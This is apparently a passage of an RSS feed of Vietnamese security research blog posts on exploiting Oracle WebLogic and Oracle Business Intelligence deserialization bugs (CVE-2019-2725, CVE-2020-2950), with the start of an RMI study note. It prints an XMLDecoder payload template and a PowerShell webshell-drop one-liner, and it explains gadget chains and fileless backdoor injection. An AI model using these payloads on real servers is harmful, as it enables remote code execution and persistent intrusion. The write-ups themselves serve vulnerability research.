method=&quot;start&quot;/&gt;&lt;/void&gt;<br>&lt;/java&gt;</pre><p>nhưng bản patch đã validate lại tag <strong>&lt;void&gt;</strong> chỉ có thể đi với <strong>attribute index</strong>, <strong>&lt;array&gt;</strong> tag chỉ có đi với <strong>attribute class</strong> là <strong>byte</strong>. Theo bài <a href="https://medium.com/@knownsec404team/weblogic-rce-cve-2019-2725-debug-diary-bb5b3b8b9e6">blog thì</a> Weblogic version 12.1.3.0.0 chúng ta có thể sử dụng <strong>org.slf4j.ext.EventData </strong>để trigger thêm một lần XMLDecoder nữa và lần này không dính filter gì cả</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*jU_KIY2kCQuSWs4cDAHJ8A.png" /></figure><p>Và đây là payload CVE-2019–2725</p><pre>&lt;java&gt;<br> &lt;class&gt;<br> &lt;string&gt;org.slf4j.ext.EventData&lt;/string&gt;<br> &lt;void&gt;<br>  &lt;string&gt;&lt;![CDATA[___XMLDecoder_Payload___]]&gt;&lt;/string&gt;<br> &lt;/void&gt;<br> &lt;/class&gt;<br>&lt;/java&gt;</pre><p>Như vậy thì chúng ta có thể run được CMD trên server rồi, mình cũng có thử run powershell tìm 1 static file (<strong>jndinavtree.css</strong>) và write webshell nhưng chỉ có thể thành công ở env debug mình setup, còn target thì fail (khả năng là user không có quyền write :( )</p><pre>Get-PSDrive -PSProvider FileSystem | % {Get-ChildItem -Path $_.Root -Filter jndinavtree.css -Recurse -ErrorAction SilentlyContinue -Force | % { echo pwn1337 &gt; ($_.Directory.FullName + \&quot;\hi.txt\&quot;)}}</pre><h3><strong>The new gadget</strong></h3><p>Và từ đợt analysis CVE-2020–14482 cũng có vài chain có triển vọng, và đây là chain cần xài :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EmY6R3oZzAKvsHmkh9zD-w.png" /><figcaption>Thanks @Jang for such a nice tool :D</figcaption></figure><pre>monfox/toolkit/snmp/agent/SnmpMib.&lt;init&gt;(Ljava/lang/String;)V <br>  monfox/toolkit/snmp/metadata/SnmpMetadata.load(Ljava/lang/String;)Lmonfox/toolkit/snmp/metadata/SnmpMetadata; <br>  monfox/toolkit/snmp/metadata/SnmpMetadata.loadBean(Ljava/io/InputStream;Ljava/lang/String;)Lmonfox/toolkit/snmp/metadata/SnmpMetadata; <br>  java/io/ObjectInputStream.readObject()Ljava/lang/Object;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*HFSpp-aczQQF6BmNeCVSjg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*PXDTjEVGqSuwpW1kTYWEbQ.png" /></figure><p>Chain này có thể load serialized file từ file trên target hoặc remote file của attacker</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1APiMOO8ebPHTaKN3M3UVw.png" /></figure><p>Vì target kia, không có outbound connection ra ngoài nên mình sẽ phải tìm cách write một serialized file chứa gadget RCE của mình, và dùng chain <strong>SnmpMib </strong>để trigger deserialize</p><h3><strong>IDEA</strong></h3><ol><li>write serialized vào C:\Users\Public hoặc /tmp tùy target là Windows hay Linux</li><li>XMLDecoder -&gt; <strong>SnmpMib contrustor </strong>-&gt; ObjectInputStream.readObject() -&gt; bất kì gadget RCE chain on weblogic</li></ol><p>Ban đầu mình chọn chain đã build sẵn từ CVE_2020_2883 -&gt; JavaScriptEngine.eval() (RCE và response output qua HTTP) NHƯNG đời không như là mơ :(</p><p>Trong quá trình analysis thì mình nhận ra, entry point này là một SOAP Handler 1 way message và bất cứ Soap request hợp lệ nào thì server sẽ response như thế này</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*CkqE4cSosvNI7I5zLDOUlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*y8W9EjZsFg7bTP7CRueRSw.png" /><figcaption>weblogic.wsee.async.AsyncResponseHandler</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*kiZHXLKMBRkoxw_OpRXppg.png" /><figcaption>weblogic.wsee.connection.transport.servlet.HttpServerTransport</figcaption></figure><p>Với cách exploit deserialize và response output cmd qua HTTP thì chúng ta đã fail vì server đã response trước khi cả deserialize nên vẫn không có triển vọng. Mình có tìm thử qua document xem thử có cách nào disable one-way message trong SOAP request không nhưng cũng không được. Nếu bạn nào có idea về chỗ này thì cho mình biết nhé :D.</p><h3><strong>The Ultimate Chain</strong></h3><p>Với kinh nghiệm làm qua một số case có môi trường không có outbound connection cũng như là viết exploit Deserialize, custom exploit mình đã nghĩ đến một cách generic hơn.</p><p>Mình có từng đề cập về một cách inject một memory shell như một filter của webapp trên Weblogic trong bài blog trước, các bạn có thể đọc lại</p><p><a href="https://paper.seebug.org/1249/">weblogic 无文件 webshell 的技术研究</a></p><p>Vì mình đã làm qua cách này rồi nên việc reuse lại cũng rất nhanh, ở đây mình chọn chain load bytecodes (<strong>TemplatesImpl.getOutputProperties()</strong>)do mình đã build sẵn từ đợt trước. WebLogic version 12.1.3.0.0 không có Commons-beanutils nên mình không thể xài chain BeanUtils để trigger getter được, nên mình đã chuyển qua tìm 1 chain khác trong ysoserial mà có thể trigger getter của <strong>TemplatesImpl</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*09BdRHvPlvesbLhDC6tyXA.png" /></figure><p>Có rất nhiều chain và mình chọn <strong>CommonsCollections3</strong>, nhưng chain này sẽ fail khi target sử dụng JDK version cao bởi vì <strong>AnnotationInvocationHandler </strong>đã có một số thay đổi từ version 8u72 trở lên nên dẫn đến việc Chain <strong>CommonsCollections3 </strong>sẽ fail</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jTb52EYpRY_XORGwAHv8dg.png" /></figure><p>và đây là cách giải quyết <a href="https://github.com/frohoff/ysoserial/issues/17">https://github.com/frohoff/ysoserial/issues/17</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*m9t7Anlv39EIvmm0Wu9wSw.png" /></figure><p>Đây cũng là workaround cho ra đời <strong>CommonsCollections5</strong>, cho nên chúng ta cần edit lại <strong>CommonsCollections3 </strong>theo cách workaround trên</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HVD0TX7v-LX8HH4l5fNRbQ.png" /><figcaption>modify <strong>CommonsCollections3</strong> for higher JDK Version</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H-Me1JXSGn8Ivn1rVum4vA.png" /><figcaption>TemplatesImpl fileless backdoor</figcaption></figure><p><strong>Final exploit</strong></p><ol><li>write the serialized payload using CVE-2019–2725</li><li>trigger <strong>monfox.toolkit.snmp.agent.SnmpMib </strong>public constructor</li></ol><pre>XMLDecoder</pre><pre>   monfox.toolkit.snmp.agent.SnmpMib public constructor</pre><pre>       ObjectInputStream.readObject()</pre><pre><strong>           </strong>CommonsCollections3 chain</pre><pre>               inject fileless backdoor</pre><h3><strong>Demo</strong></h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FCkZklDISxhQ%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DCkZklDISxhQ&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FCkZklDISxhQ%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/78a89cb9a06ea8d1e9cfb908c7f8de5b/href">https://medium.com/media/78a89cb9a06ea8d1e9cfb908c7f8de5b/href</a></iframe><h3><strong>END</strong></h3><p>Cảm ơn mọi người đã đọc đến đây.</p><p>Happy New Year, wish you all the best !!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=14600c0e4018" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tradahacking/cve-2019-2725-revisited-14600c0e4018">CVE-2019–2725 Revisited</a> was originally published in <a href="https://medium.com/tradahacking">tradahacking</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2020–2950 — Turning AMF Deserialize bug to Java Deserialize bug]]></title>
            <link>https://peterjson.medium.com/cve-2020-2950-turning-amf-deserialize-bug-to-java-deserialize-bug-2984a8542b6f?source=rss-9d0bc610db35------2</link>
            <guid isPermaLink="false">https://medium.com/p/2984a8542b6f</guid>
            <category><![CDATA[java]]></category>
            <category><![CDATA[outbound]]></category>
            <category><![CDATA[amf-deserialize]]></category>
            <category><![CDATA[gadgets]]></category>
            <category><![CDATA[oracle-bi]]></category>
            <dc:creator><![CDATA[Peterjson]]></dc:creator>
            <pubDate>Sat, 25 Jul 2020 07:53:12 GMT</pubDate>
            <atom:updated>2020-07-25T07:53:12.609Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2020–2950 — Turning AMF Deserialize bug to Java Deserialize bug</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VcG0m7uacTDOusMR4Hvrjw.png" /><figcaption>Bug này của một anh nickname là GreenDog chứ không phải của mình nhé :&gt;</figcaption></figure><h3><strong>INTRO</strong></h3><p>Hi các bạn ! Cũng lâu rồi mình chưa có viết lách gì về kỹ thuật thì lần này mình sẽ write-up về 1 case pentest liên quan đến bug <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-2950">CVE-2020–2950</a> . Mình reproduce lại bug này khi đọc được bài blog phân tích của ZDI: <a href="https://www.zerodayinitiative.com/blog/2020/5/8/details-on-the-oracle-weblogic-vulnerability-being-exploited-in-the-wild">https://www.zerodayinitiative.com/blog/2020/5/8/details-on-the-oracle-weblogic-vulnerability-being-exploited-in-the-wild</a>. <br>Lúc này nhìn lại trong internal của công ty mình thì thấy có 1 site dùng Oracle Business Intelligence nên mình quyết định reproduce bug này để tiện cho việc pentest.</p><h3><strong>TARGET</strong></h3><p>Tóm tắt về bug này thì Oracle Business Intelligence handle AMF data mà attack send lên qua 1 servlet gọi là BIRemotingServlet. Đa phần AMF deserialize sẽ trigger setter hoặc readExternal() (mình sẽ nói kĩ hơn về cách AMF deserialize để recover lại một Object như thế nào), mà đa phần các chain về AMF này thì khi exploit đều cần outbound connection để connect tới attacker server (như JRMP call, hay JNDI call chẳng hạn). Nhưng cuộc đời đâu dễ đến thế, đâu phải reproduce PoC là ăn ngay được, đa phần khi pentest bạn sẽ phải gặp những case server được config không có outbound connection ra internet, hoặc nằm sau nginx, để có internet thì server bên trong cần đi qua 1 proxy internal như Squid chẳng hạn. Thế nên đa phần những case mình gặp phải để phải improve lại PoC đã public để có thể stable hơn khi exploit mà không cần outbound connection.</p><h3><strong>SOME CASES</strong></h3><p>Như trước đây mình có làm 1 case về CVE-2019–3396 (bug này của Confluence, đại loại là load remote template về render để từ đó RCE được). Nhưng nếu server không có outbound connection để load remote template thì sao ? Ở bước này một là bạn tìm cách làm tiếp hai là để đó sau xem lại :v, thì mình cũng chia sẻ luôn về cách improve bug này mà mình tìm được như thế này. Khi dựng và debug bug này ở local thì mình thấy Confluence log lại header của user vào log, đến đây thì mình nảy ra ý tưởng là inject template vào log của confluence sau đó render ra và RCE. Nhưng mà làm sao biết được path của file log? Thì lúc này file:/// protocol handler trong java lại phát huy tác dụng, có tác dụng như thế nào thì để lại cho các bạn tìm hiểu nhé :&gt; . Tới bước này thì giả sử như load được template mà mình inject vào rồi nhưng vẫn ko RCE đc do trong log file có những kí tự mà khi parser parse template dẫn đến fail. Thường thì chức năng log file của 1 app sẽ rotate log khi file log đạt dung lượng bao nhiêu đó như 20mb sẽ rotate thành 1 file log khác. Tới đây thì ý tưởng cuối cùng là spam cho tràn log vừa qua file log mới, inject template RCE vào kèm theo comment hết tất cả phần sau của file log, dùng file:/// protocol handler để tìm path của file log và cuối cùng là RCE :).</p><p>Do đó công việc của mình từ khi chuyển việc đa phần là research, tìm hiểu technique mới, reproduce 1 day, improve PoC cho từng case cụ thể, quá trình này giúp mình học được rất nhiều thứ, nếu PoC của bạn sau khi improve có thể exploit được nhiều case như không có outbound connection thì bạn có thể lấy PoC đó đi tìm bounty chẳng hạn, như lần trước làm Liferay mình cũng được reward một ít coi như là đáng công sức bỏ ra. Hướng đi này mình cảm giác khá hiệu quả cho người mới tiếp cận với 1 attack surface nào đó, có thể vừa học, vừa cải thiện, thậm chí sau khi analysis những 1 day bug có thể hiểu flow, luồng của app để sau có thể audit tìm 0day chẳng hạn.</p><h3><strong>ANALYSIS</strong></h3><p>Quay lại bug Oracle Business Intelligence,để tiện cho việc reproduce thì chắc chắn phải build và debug được Oracle Business Intelligence rồi. Phần setup cũng khá dễ, chỉ cần build bản mới nhất của Oracle Business Intelligence nhưng không cài bản patch là bạn đã có 1 version có lỗi rồi (nói chứ vì phải cần license mới down được patch =]]] ), phần setup mình sẽ để lại cho mọi người nếu muốn reproduce lại thử bug này. Có thể tham khảo tham ở đây: <br><a href="http://www.catgovind.com/obiee/step-by-step-obiee-12c-installation-on-windows-oracle-bi-publisher-installation-and-oracle-bi-analytic-installation/">http://www.catgovind.com/obiee/step-by-step-obiee-12c-installation-on-windows-oracle-bi-publisher-installation-and-oracle-bi-analytic-installation/</a></p><h3><strong>AMF Deserialize</strong></h3><p>Nói đến series AMF này thì chắc nhiều bạn cũng ít biết nó là gì, ngoài Java Deserialize các bạn hay thấy gần đây thì vẫn còn các stream data khác ngoài Java Native như XML, JSON hay AMF. Thì mỗi dạng sẽ map với 1 kiểu bug khác nhau nên hướng tiếp cận từng cái thì cần hiểu ra cách stream data đó recover 1 Objet từ 1 stream data như thế nào. Với AMF các bạn có thể đọc qua 2 bài blog sau của CodeWhiteSec Team để hiểu rõ hơn về nó:</p><p><a href="https://codewhitesec.blogspot.com/2017/04/amf.html">https://codewhitesec.blogspot.com/2017/04/amf.html</a><br>(bài này thì phân tích kĩ AMF hoạt động như thế nào)</p><p><a href="https://codewhitesec.blogspot.com/2018/03/exploiting-adobe-coldfusion.html">https://codewhitesec.blogspot.com/2018/03/exploiting-adobe-coldfusion.html</a><br>(bài này thì là một hướng đi của tác giả khi pentest gặp phải trường hợp như mình là server không có outbound connection, để khắc phục thì tác giả tìm thêm trong library những setter, readExternal() mà convert stream AMF về ObjectInputStream để từ đó có thể lợi dụng gadget chain có sẵn trong ColdFusion để exploit RCE)</p><p>Mình cũng có 1 case study về bug này, cách improve nó để exploit khi không có outbound connection, các bạn có thể tìm đọc tại đây: <a href="https://docs.google.com/presentation/d/116DwvGitgknoiq_AOLmRlrkjCrUWfi38t_u-GdU4k2k/edit?usp=sharing">https://docs.google.com/presentation/d/116DwvGitgknoiq_AOLmRlrkjCrUWfi38t_u-GdU4k2k/edit?usp=sharing</a> . Trong slide này mình đi rất kĩ từ endpoint có bug đến trace trong những config của coldfusion để tới được đoạn code có lỗi !</p><h3><strong>CVE 2020 2950</strong></h3><p>Quay lại phần debug, trace lỗi, thì cách mình thông thường làm nhất đó là dump hết jars trên home directory của webapp, sau đó thì add hết vào một project IntelliJ IDEA và setup remote debug. Ở weblogic thì enable remote debug khá dễ, chỉ cần vào console add thêm arg jdwp (Java Wire Debug Protocol) vào restart lại hết là xong, còn với các app thông thường thì sẽ add trực tiếp arg jdwp vào script startup để run.</p><p>Trong bài blog của ZDI chỉ để cần endpoint bug nằm ở đâu nên việc chúng ta cần làm là phải trace ra đoạn code mapping với endpoint đó</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*E2oKZ18-TljhJF9zogdnTw.png" /></figure><p>Các bạn có thể nhảy thẳng vào Class BIRemotingServlet xem cũng được, nhưng mình sẽ nói sơ mà cách tìm webroot của từng application trong weblogic</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hSmrTsIj_aI0sLH49PY8Ug.png" /></figure><p>Với mỗi application sẽ có 1 file là application.xml để mapping với từng app được deploy lên weblogic, nên dễ nhất các bạn có thể tìm hết tất cả applicatoin.xml trong home directory của weblogic xong rồi grep với endpoint bạn muốn acess tới, từ đó biết được file war deploy nằm ở đâu, xem config khi cần. Trong từng file war cũng có web.xml để define servlet, filter của app đó, như file web.xml của app jbips này như sau</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w2shp9YC8kR2Qf0PY4fKoQ.png" /></figure><p>thì ta thấy BIRemotingServlet sẽ mappting vào /messagebroker/as/* nên endpoint cuối cùng là /analytics/jbips/messagebroker/cs/. Tiếp đến chúng ta sẽ trace vào code xử lý tại chỗ này</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4mAZsakJ_R9cusRwK6hbrQ.png" /><figcaption>oracle.bi.nanserver.fwk.servlet.as.BIRemotingServlet.handleRequest()</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1UzoSPQSLnLxVJuMbvHr1g.png" /><figcaption>oracle.bi.nanserver.fwk.servlet.as.RemotingSvs.processCall()</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*jgKM_hXiJRvvHryA3YAkig.png" /><figcaption>oracle.bi.nanserver.fwk.servlet.as.RemotingSvs.deserializePacket()</figcaption></figure><p>Đến đây thì các bạn đã thấy Filter này deserialize AMF stream data khi POST data vào endpoint /analytics/jbips/messagebroker/cs/</p><p>Trace tiếp thì ta thấy AMF deserialize sẽ chia làm 2 nhánh, nếu class chúng ta muốn deserialize có implements interfaces Externalizable thì sẽ trigger method readExternal() của class đó đã implement sẵn từ trước. còn không thì sẽ dùng setter để set lại các attribute trong class đó phục vụ cho việc recover lại Object từ stream data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lRVQbvtDhhMRJfzgyKbr9g.png" /><figcaption>trigger readExternal()</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*zwiINndrRxILXgR0O4cPWw.png" /><figcaption>trigger setter to restore properties of Object</figcaption></figure><p>Thông thường thì với chain readExternal() thì có 1 cách chuyển từ readExternal về readObject() qua chain JRMP, ý tưởng cơ bản như sau</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qU6wexPKtVh4NhnN" /><figcaption>readExternal() to readObject()</figcaption></figure><p>Nhưng chain này thì lại cần outbound connection để connect tới JRMP server của attacker, các bản có thể tham khảo lại bài blog về RMI của mình về chain này: <a href="https://medium.com/cdlabs/rmi-study-note-and-some-study-case-f8cfaec07857">https://medium.com/cdlabs/rmi-study-note-and-some-study-case-f8cfaec07857,</a> hoặc mình cũng đã giải thích trong slides đã share ở phía trên</p><p>Phần tiếp theo chắc có lẽ là phần mình đã improve bug này như thế nào, chuyển từ readExternal() về readObject(). Ban đầu thì mình cũng khá stuck tìm đủ mọi cách, từ việc dùng lại những chain AMF được đề cập trong blog của CodeWhiteSec nhưng khá tiếc vì chain đó không có trong classpath của Oracle BI, nên mình phải tự tìm, vậy cách tìm như thế nào, mình thì không dùng tool gì, chỉ đọc từng method readExternal() trong đống jars đã dump ra. Hướng đi có thể khả quan hơn có thể là dùng modify lại gadget inspector để tìm, nhưng mình đã tìm ra trước khi phải dùng tool, lần sau sẽ thử tool xịn của a <a href="https://medium.com/u/6ac51190917c">Jang</a> :v.</p><h3><strong>THE GADGET</strong></h3><p>Và đây là chain mình đã tìm ra, chain này nằm trong library coherence, là một component caching trong bộ fusion middleware của Oracle, do là chúng ta cần cài Fusion Middleware trước khi cài Oracle BI nên library này chắc chắn có trong classpath của app jbips. Khi AMF trigger readExternal của từng class thì stream hiện tại đang làm AMF nên ý tưởng phải tìm method readExternal() xử lý wrap AMF stream về ObjectInputStream, chứ nều cho dùng trong readExternal() có call ra readObject() thì readObject() này cũng là readObject() của AMF stream chứ không phải ObjectInputStream mà mình mong muốn</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*cV3p0wVmhgg7RUXQflaXXQ.png" /><figcaption>com.tangosol.coherence.servlet.AttributeHolder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*hbdZmohX51jKR6u7SoM46A.png" /><figcaption>ExternalizableHelper.readObject()</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L6Ts8sUQwxyULyirum-S5A.png" /><figcaption>readObjectInternal()</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CgE6k3oKdyLk-DhjcKpC3Q.png" /><figcaption>readSerializable()</figcaption></figure><p>chúng ta thấy stream AMF của chúng ta được xử quá qua getObjectInput(in, loader) trước khi gọi readObject()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*2bWFGmxPra-D8CYq5RH_IA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VTPF5wqk-mOK4L_3MsiXYw.png" /></figure><p>Ở đây chúng ta thấy stream AMF được resolve thành stream khác qua class ResolvingObjectInputStream và khi debug thì stream AMF được convert thành stream khác là WLSObjectStreamFactory, đây cũng là stream mà Weblogic tạo ra để filter blacklist những bug deserialize đã có trong T3 protocol từ trước, và rất có khả năng là chưa filter gadget chain cve 2020 2555 hay cve 2020 2883</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P0VzSpJ_jBpSFSkce2SrTQ.png" /></figure><p>Như vậy thì đã xong chain, việc chuyển từ AMF stream về ObjectInputStream đã xong, từ đó kết hợp với gadget chain cve 2020 2555 hay cve 2020 2883 là đã có thể RCE. Đầu tiên generate payload cve 2020 2555 hay cve 2020 2883 sau đó wrap qua AMF stream và gửi lên server là xong !</p><p>Nhưng quay lại case server không có outbound connection. Giả sử RCE được thì cũng chỉ là Blind RCE.</p><p>Mà đa phần các chain trong ysoserial cuối cùng cũng gọi tới Runtime.getRuntime().exec(“____cmd____”)</p><p>Nên chúng ta phải modify lại một xíu là thay vì gọi Runtime.getRuntime().exec() thì gọi ra ScriptEngineManger để eval code, một phần ý tưởng này là có thể run Java code, để tiện cho việc control luồng xử lý sau này, ví dụ như tùy context trên server, nếu có trả Exception về cho client thì lợi dụng việc đó để throw ra output cmd của chúng ta, hoặc control luôn cách trả response của server bằng cách write output cmd qua http response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XmlDiEoqSxpzgw9qVazYRQ.png" /><figcaption>custom gadget to call ScriptEngineManager</figcaption></figure><p>Như vậy thì để PoC “xịn” hơn xíu nữa thì phải nắm bắt được context mà chúng ta đang làm. Ví dụ ở case này server sẽ nhả Exception về qua http response chúng ta có thể throw output cmd để đọc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ER89ebJfzXtU0apYJbYPyQ.png" /></figure><p>Nhưng 1 số case server nằm sau nginx nên khi status code 500 sẽ return 1 trang 500 custom của bên đó nên sẽ không read được output cmd. Do đó chúng ta phải tìm cách khác đó là control luồng của weblogic để write output qua http response</p><p>Thông thường thì khi handle request các webserver sẽ có những object như request / response cho từng session, thì các object này thường được store trong Thread đang handle connection hiện tại hoặc lưu trong Thread Local của từng Thread. Như ví dụ trong slides Cold Fusion thì đó là một case về Tomcat, còn ở đây là weblogic thì có tý khác biệt. Mình dựa vào bài blog dưới đây mà follow theo:</p><p><a href="https://paper.seebug.org/1249/">weblogic 无文件 webshell 的技术研究</a></p><p>Các anh Tàu đã tìm ra kịch bản là găm fileless backdoor vào như 1 filter trong webapp (đỉnh vãi nồi -__- ), có gì các bạn đọc thêm cho biết nhé :&gt;</p><p>Ý tưởng cơ bản là lấy ra object request / response của Thread hoặc các Thread khác thông qua Thread Local của Thread hiện tại để từ đó có thể control luồng trả về của webserver bằng Java Reflection API !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*-3EYtOPRB_mjolh0DygL4Q.png" /></figure><p>Để tiện cho việc debug thì IntelliJ có chức năng khá hay ho khi debug là Evaluate Expression (Alt + F8) để Evaluate code trên server, bằng cách nằng có thể view được Thread hiện tại đang store những Object nào, Thread Local có gì, có attribute gì, …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KkVXOFFEEK1uSY2r9GRDEw.png" /></figure><h3><strong>RESULT</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*axM7Ft-y6ACSsVb7fsYF_g.png" /></figure><p>Cảm ơn các bạn đã đọc đến đây, chúc các bạn có một 2 ngày cuối tuần thật nhiều 🐞 🐞 🐞</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2984a8542b6f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RMI Study Note And Some Study Case]]></title>
            <link>https://medium.com/cdlabs/rmi-study-note-and-some-study-case-f8cfaec07857?source=rss-9d0bc610db35------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8cfaec07857</guid>
            <category><![CDATA[deserialization]]></category>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[mir]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[exploit]]></category>
            <dc:creator><![CDATA[Peterjson]]></dc:creator>
            <pubDate>Sun, 23 Feb 2020 09:03:15 GMT</pubDate>
            <atom:updated>2020-02-23T11:05:20.225Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi ! Lâu rồi mình cũng không viết blog hay là write-up về CTF nữa, mà lần này mình muốn viết về một chủ đề khác, về RMI, về Java và muốn chia sẻ chính về cách mình tiếp cận, quá trình đào sâu một vấn đề mới và nhiều thứ khác nữa. Bài viết này dựa vào một phần nhỏ mình tự tìm hiểu và phần còn lại là phân tích về bài <a href="https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf">talk </a>mới đây của anh Antp (@_tint0). Thật sự đây là một bài research rất hay và tâm huyết của anh Antp và nếu qua bài viết của mình đâu đó có làm bạn đọc cảm thấy thích thú muốn tìm hiểu về Java nhiều hơn thì <a href="https://blog.tint0.com/">blog</a> này rất phù hợp kèm với một số resources khác mình sẽ reference thêm trong bài viết.</p><p><strong>CTF case</strong></p><p>Okay, một phương pháp mà mình áp dụng cho chính bản thân mình khi học một cái gì đó mới là xem thử đã có ai có tổ chức nào chuyển idea bug mà mình muốn analysis thành một bài CTF. Tại sao điều này lại có ý nghĩa với mình? Thứ nhất là mình sẽ có sẵn một context, env cụ thể, có thể giúp bản thân tiết kiệm thời gian deploy, thứ hai là tất nhiên sẽ có một bài write-up nào đó là một mớ reference cũng như resource kèm theo để mình tìm hiểu. <br>Như lúc mình học về Java Deserialization thì mình cũng tìm và làm những bài CTF liên quan. Nếu bạn quan tâm thì có 2 bài CTF rất hay.</p><p>Bài đầu tiên là bài <a href="https://blog.tint0.com/2019/03/matesctf-2018-wutfaces-cve-2013-2165.html">WutFaces Mates CTF 2018</a> sẽ giúp bạn vừa hiểu được cách viết một gadget custom như thế nào, kĩ năng phân tích một 1day chưa có PoC chẳng hạn, và mở ra tiếp một case thực tế cụ thể hơn từ tác giả ( <a href="https://blog.tint0.com/2019/03/when-el-injection-meets-java-deserialization.html">When EL Injection meets Java Deserialization</a> ), bạn sẽ biết thêm về Expression Language là gì, có những parser nào, từng parser có những pros/cons như thế nào, recon library của target mà tác giả tìm ra thú vị như thế nào, …</p><p>Bài thứ hai là bài <a href="https://medium.com/nightst0rm/writeup-web03-whitehat-grand-prix-2018-java-ssrf-java-deserialization-to-sql-injection-c20b211ddd91">web03 whitehat final 2018</a> , đây cũng là một bài rất hay, giúp cho bạn biết thêm SSRF ở java thì khác như thế nào với những loại SSRF cổ điển khác, cũng như cũng protocol chỉ có ở Java có ích như thế nào khi target có bug SSRF. Bug thứ 2 là chain giữa Java Deserialization và SQLi, bạn sẽ một lần nữa biết cách analysis + viết gadget chain để có thể từ Java Deserialization tới Sqli trong context của bài CTF này như thế nào, …</p><p>Mình có <a href="https://docs.google.com/presentation/d/1y01MiSmbqX54AE5FZVo9tZlrau9pakFDx4pEjqWOLb8/edit#slide=id.p">bài phân tích</a> cả 2 bài CTF trên, nhưng điều mình mong muốn là các bạn hãy thử bỏ thời gian ra thử sức để học để hiểu được nhưng thứ hay ho mà 2 anh tác giả mang lại</p><p>Quay lại context RMI, như vậy thì sẽ có những bài CTF như thế nào để vừa làm vừa học? Okay loanh quay internet thì mình tìm được 2 bài sau: <a href="https://github.com/polictf/sources2017/tree/master/pwn-lamermi">link1</a> (bài này về codebase và remote class loading), <a href="https://github.com/ALLESCTFTeam/ctf/tree/master/2018/RealWorldCTF2018_Finals/RMI">link2</a> (bài này Realworld CTF 2018 Final — CTF kiểu mang 1day vô hay PoC mới để player build + analysis là một gì đó rất thú vị mà mình vẫn chưa được tham gia lần nào). Về chi tiết của từng bài mình sẽ phân tích sau. Đến đây thì vẫn mong bạn đọc sẽ bỏ thời gian thử sức như một player để xem bản thân stuck như thế nào, giải quyết như thế nào. Với bản thân mình thì quá trình khi giải một bài CTF giúp mình grow up rất nhanh cũng như lượng kiến thức mang lại là rất nhiều !</p><p><strong>RMI Architecture</strong></p><p>Điều đầu tiên khi bạn muốn tìm hiểu một loại bug mới thì trước tiên bạn phải hiểu rõ cơ chế hoạt động của target bạn nhắm đến nó như thế nào cũng như nhưng công nghệ bạn cần phải học. Quá trình này rất cần thiết và là việc cần làm đầu tiên để về sau khi đi vào phân tích bug sẽ không còn mơ hồ làm bạn mất thời gian quay lại xem.</p><p>Tóm gọn lại thì RMI Architecture ( về Registry ) được mô phỏng lại thành hình dưới 